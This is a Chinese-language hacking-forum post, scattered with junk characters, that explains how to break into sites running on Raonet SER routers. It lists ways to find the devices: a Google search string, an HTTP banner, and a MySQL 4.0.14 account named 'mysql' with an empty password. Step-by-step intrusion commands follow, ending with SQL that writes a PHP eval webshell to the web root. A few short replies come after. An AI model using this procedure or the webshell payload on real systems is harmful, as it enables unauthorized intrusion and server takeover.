利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
4 r( k' D# o1 s% R5 a" {  Q
1：google搜索'Raonet Subscriber Ethernet Router'

# p8 I, ~, Q# v  K" Z2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
0 g) z1 t0 g7 Q
3 Q. j3 |, G% Y; ~7 S//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
* ?1 Z; A, t0 i


& V3 g0 R" q+ f  `% K( q6 U入侵步骤：
) F5 i, U* O4 ?" r  W* o# }
/ ]: M1 P/ x4 ?. d) Y6 t4 {1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
) s; I( m1 n+ {& ]3 @6 b" T# Y; T, B
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
2 ?& W: u6 U/ V) k9 C4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
; E6 k- t3 y2 }* j9 vdrop table ok;
7 b4 t( y6 u# [
5:连接后门shell.php
5 v3 s) q7 o# x: b
6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。